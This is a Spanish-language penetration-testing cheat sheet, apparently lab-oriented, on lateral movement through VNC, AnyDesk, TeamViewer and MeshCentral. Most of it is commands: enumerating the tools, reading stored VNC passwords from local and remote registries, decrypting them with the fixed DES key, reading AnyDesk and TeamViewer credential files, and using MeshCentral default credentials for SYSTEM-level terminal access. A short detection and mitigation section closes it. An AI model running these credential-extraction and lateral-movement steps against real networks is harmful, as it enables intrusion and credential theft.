Skip to content

Lateral Movement — VNC & Remote Management Tools

Herramientas


Contexto

Herramientas como AnyDesk, TeamViewer, y VNC son legítimas en entornos corporativos para soporte remoto. En un assessment son interesantes porque si están instaladas y tienen credenciales configuradas, permiten movimiento lateral sin levantar las mismas alarmas que herramientas ofensivas. Grupos como Cobalt y Carbanak han abusado de AnyDesk y TeamViewer respectivamente para C2 y persistencia.

VNC solo captura la sesión de consola — si hay un usuario privilegiado con sesión activa, lo verás directamente.


Enumeración

c
# Detectar VNC (puerto por defecto 5900)
nmap -p5900,5901 192.168.1.20 -sCV -Pn

# Desde Windows, verificar conectividad al puerto VNC
Test-NetConnection -ComputerName WEB01 -Port 5900
Test-NetConnection -ComputerName WEB01 -Port 5901

# Escanear varios hosts desde Windows
$hosts = @("192.168.1.10","192.168.1.20","192.168.1.30")
$hosts | ForEach-Object { Test-NetConnection -ComputerName $_ -Port 5900 -WarningAction SilentlyContinue | Select-Object ComputerName,RemotePort,TcpTestSucceeded }

# Detectar AnyDesk o TeamViewer buscando procesos o servicios
Get-Process | Where-Object {$_.Name -like "*anydesk*" -or $_.Name -like "*teamviewer*"}
Get-Service | Where-Object {$_.Name -like "*vnc*" -or $_.Name -like "*anydesk*"}

# Buscar software instalado
Get-WmiObject -Class Win32_Product | Where-Object {$_.Name -like "*VNC*" -or $_.Name -like "*AnyDesk*"}
wmic product get name | findstr /i "vnc anydesk teamviewer"

Extraer contraseña VNC del registro

Los administradores suelen reutilizar la misma contraseña VNC en múltiples hosts. Si tienes admin local en un host con VNC, puedes extraer la contraseña del registro y probarla en otros hosts.

c
# TightVNC — dump completo incluyendo RfbPort y Password
reg query HKLM\SOFTWARE\TightVNC\Server /s

# RealVNC
reg query HKLM\SOFTWARE\RealVNC\WinVNC4 /v Password

# UltraVNC
reg query HKLM\SOFTWARE\ORL\WinVNC3 /v Password
reg query HKLM\SOFTWARE\UltraVNC /v passwd

# TigerVNC
reg query HKCU\Software\TigerVNC\WinVNC4 /v Password

# Conectar al registro remoto de SRV02 y leer credenciales TightVNC
reg query \\192.168.1.20\HKLM\SOFTWARE\TightVNC\Server /s

# O si es RealVNC
reg query \\192.168.1.20\HKLM\SOFTWARE\RealVNC\WinVNC4 /v Password

# O si es UltraVNC
reg query \\192.168.1.20\HKLM\SOFTWARE\UltraVNC /v passwd

El valor Password viene en formato REG_BINARY cifrado con DES.

El campo RfbPort indica en qué puerto escucha VNC. Convertir de hex a decimal:

c
# RfbPort 0x170c = 5900 (decimal), que es el puerto por defecto
# Si el valor es diferente, ese es el puerto real que usa VNC en ese host
# Para convertir en PowerShell:
[convert]::ToInt32("170c",16)

Descifrar contraseña VNC (Linux)

VNC cifra la contraseña con DES usando la clave fija e84ad660c4721ae0. El valor del registro en hex se descifra así:

c
# Reemplazar <HASH_HEX> con el valor del registro (sin espacios)
echo -n <HASH_HEX> | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

# Ejemplo
echo -n 816ECB5CE758EAAA | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

La contraseña aparece en texto claro en la columna derecha del output de hexdump.


Conectar via VNC desde Linux

c
# Instalar cliente VNC
sudo apt-get install xtightvncviewer

# Conectar con contraseña al puerto por defecto
echo <password> | proxychains4 -q vncviewer 192.168.1.20 -autopass

# Conectar a un puerto no estándar
echo <password> | proxychains4 -q vncviewer 192.168.1.20::5901 -autopass

# Conexión optimizada para redes lentas o via proxy
echo <password> | proxychains4 -q vncviewer 192.168.1.20 -autopass -quality 0 -nojpeg -compresslevel 1 -encodings "tight hextile" -bgr233

# Dentro de la sesión VNC usar F8 para acceder al menú de opciones

Conectar via VNC desde Windows (TightVNC Viewer)

El cliente gráfico es lo más cómodo desde Windows. Si prefieres línea de comandos:

c
# TightVNC Viewer desde CMD/PowerShell
& "C:\Program Files\TightVNC\tvnviewer.exe" -host=192.168.1.20 -port=5900 -password=<password>

# Ver usuario logueado en la consola del host remoto via VNC
# (VNC captura la sesión de consola — si hay un admin logueado lo verás directamente)

Miscelánea — casos prácticos

c
# Ver qué puerto usa VNC en un host remoto vía registro
# (útil cuando el puerto no es el estándar 5900)
reg query \\192.168.1.20\HKLM\SOFTWARE\TightVNC\Server /v RfbPort

# Verificar si la contraseña VNC funciona en otro host antes de conectar
Test-NetConnection -ComputerName DC01 -Port 5900

# Listar qué usuario tiene sesión de consola activa en un host
# (lo que verás cuando te conectes por VNC)
query session /server:192.168.1.20
qwinsta /server:192.168.1.20

# Desde la sesión VNC leer un archivo del escritorio
type C:\Users\Administrator\Desktop\flag.txt

Buscar credenciales de otras herramientas RMM

Si encuentras AnyDesk o TeamViewer instalado, buscar IDs y contraseñas guardadas:

c
# AnyDesk — ID del dispositivo y contraseña de acceso desatendido
type "C:\ProgramData\AnyDesk\system.conf"
type "%APPDATA%\AnyDesk\user.conf"

# TeamViewer — contraseña en el registro
reg query HKLM\SOFTWARE\WOW6432Node\TeamViewer /v SecurityPasswordAES
reg query HKLM\SOFTWARE\TeamViewer /v SecurityPasswordAES

Las contraseñas de TeamViewer también vienen cifradas pero hay herramientas específicas para descifrarlas como TeamViewer-Decrypt.

Lateral Movement — Software Deployment and Remote Management Tools

Herramientas


Contexto

Las herramientas de software deployment y remote management son esenciales para que los administradores IT gestionen y monitoreen redes de manera eficiente. Realizan tareas como:

  • Instalación de software
  • Parches (patch management)
  • Gestión de configuración
  • Control remoto de dispositivos

El problema de seguridad: Si un atacante obtiene credenciales válidas de un administrador que maneja estas herramientas, puede:

  • Instalar malware en máquinas remotas
  • Obtener acceso a sistemas sin levantar alarmas (tráfico legítimo)
  • Moverse lateralmente por toda la red

Grupos como Cobalt y Carbanak han abusado de estas herramientas para C2 y persistencia.


MeshCentral — Descripción General

MeshCentral es una poderosa herramienta open-source de remote management que permite a administradores IT:

  • Controlar escritorio remoto
  • Transferir archivos
  • Acceso a terminal remota
  • Monitorear dispositivos

Características de Explotación

  • Puerto por defecto: 443
  • Método: Agente instalado en computadora remota que se conecta al servidor MeshCentral
  • Ventaja de seguridad para atacante: Aunque la mayoría de puertos estén bloqueados, el puerto 443 suele estar abierto para web/HTTPS, permitiendo conexiones de remote management
  • Impacto: Acceso completo al sistema remoto, ejecución de comandos con privilegios del agente

MeshCentral — Enumeración

Detectar puerto 443 abierto

bash
nmap -p443 10.129.229.243 -sC -sV

Output esperado:

PORT    STATE SERVICE   VERSION
443/tcp open  ssl/https
|_http-title: MeshCentral - Login
|_ssl-date: TLS randomness does not represent time
| http-robots.txt: 1 disallowed entry
|_/

Contexto

El título del navegador MeshCentral - Login es un indicador claro de que MeshCentral está instalado en el servidor. En entornos endurecidos, los puertos de management suelen estar restringidos a servidores específicos o estaciones de trabajo.


MeshCentral — Explotación

Credenciales por defecto / Credenciales encontradas

Usuario: admin
Contraseña: RemoteManagement01

Acceso via Web

  1. Navegar a https://IP_del_servidor
  2. Loguearse con credenciales válidas
  3. Ir a "My Devices" para listar dispositivos disponibles

Seleccionar dispositivo remoto

Haz clic en el dispositivo deseado (ej: SRV02)

Conectar via Terminal

Una vez dentro del dispositivo:

  1. Selecciona la pestaña "Terminal"
  2. Haz clic en "Connect"
  3. Se abrirá una sesión de terminal remota

Ejecutar comandos

powershell
whoami
ipconfig
systeminfo
dir C:\Users\
type C:\Users\Administrator\Desktop\flag.txt

Nota: Los comandos se ejecutan con los privilegios del agente MeshCentral (típicamente SYSTEM).


MeshCentral — Miscelánea Práctica

Determinar qué usuario logueado en consola

powershell
query session /server:10.129.229.243
qwinsta /server:10.129.229.243

Verificar conectividad antes de comprometer

powershell
Test-NetConnection -ComputerName SRV02 -Port 443

Transferencia de archivos via MeshCentral

Desde la interfaz web:

  1. Ir a "File Transfer" si está disponible
  2. Drag & drop de archivos
  3. O usar terminal remota para descargar archivos

Remote Desktop Control

Si MeshCentral tiene habilitado RDP:

  1. Selecciona el dispositivo
  2. Haz clic en "Remote Desktop"
  3. Controla el escritorio remoto en tiempo real

Estrategia General de Explotación

Pasos para lateral movement:

  1. Enumeración

    • Identificar puerto 443 abierto
    • Confirmar MeshCentral via fingerprinting (título, HTTP headers)
  2. Obtener credenciales

    • Credenciales por defecto
    • Credenciales encontradas en bases de datos
    • Credenciales de usuarios comprometidos
  3. Acceso inicial

    • Loguearse en la interfaz web de MeshCentral
    • Listar dispositivos disponibles
  4. Compromiso remoto

    • Conectar via Terminal a un dispositivo
    • Ejecutar comandos con privilegios SYSTEM
    • Instalar malware, crear usuarios, añadir persistencia
  5. Movimiento lateral continuo

    • Desde SRV02, comprometer el Domain Controller
    • Instalar backdoor o herramienta de C2
    • Enumerar credenciales adicionales
    • Repetir proceso

Comparación con otras herramientas similares

HerramientaPuerto DefectoProtocoloVentaja
MeshCentral443HTTPS/SSLOpen-source, web-based
SCCM445, 3389SMB, RDPIntegración Active Directory
Intune443HTTPSCloud-based, Modern endpoint
Kaseya VSA443, 8080HTTPSMulti-tenancy, fácil deployment
TeamViewer443, 5938PropietarioConectividad NAT traversal

Denominador común: Todas usan puertos típicamente abiertos (443, 445) que no levantan alarmas.


Mitigación y Detección

Desde la perspectiva defensiva:

powershell
# Auditar acceso a herramientas de management
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4624 -and $_.UserName -like "*admin*"}

# Monitorear conexiones outbound desde servidores
Get-NetTCPConnection | Where-Object {$_.RemotePort -eq 443 -and $_.State -eq "Established"}

# Listar servicios de management instalados
Get-Service | Where-Object {$_.Name -like "*mesh*" -or $_.Name -like "*sccm*" -or $_.Name -like "*intune*"}

# Auditar cambios de configuración en servicios
Get-WmiObject -Class Win32_Service | Select-Object Name,DisplayName,StartMode,PathName

Mejores prácticas:

  • Usar MFA en cuentas administrativas de herramientas de management
  • Restringir acceso via firewall a puertos de management (443, 445)
  • Auditar y loguear todas las acciones de remote management
  • Implementar Windows Event Forwarding para centralizar logs
  • Usar privilegios mínimos (least privilege) en cuentas de administración

Conclusión

Las herramientas de software deployment y remote management son doble filo:

  • Legítimas: Esenciales para administración IT eficiente
  • Peligrosas: Si se comprometen, dan acceso completo a toda la infraestructura

En un assessment de seguridad, siempre:

  1. Enumera qué herramientas de management están instaladas
  2. Busca credenciales en bases de datos, archivos config, sticky notes
  3. Prueba credenciales encontradas contra múltiples sistemas
  4. Si obtienes acceso, considera la red comprometida (asume que puedes llegar a cualquier servidor)

La creatividad es clave — examina la documentación de cualquier herramienta desconocida y encuentra formas de abusar de sus funcionalidades legítimas para obtener ejecución de código remota (RCE).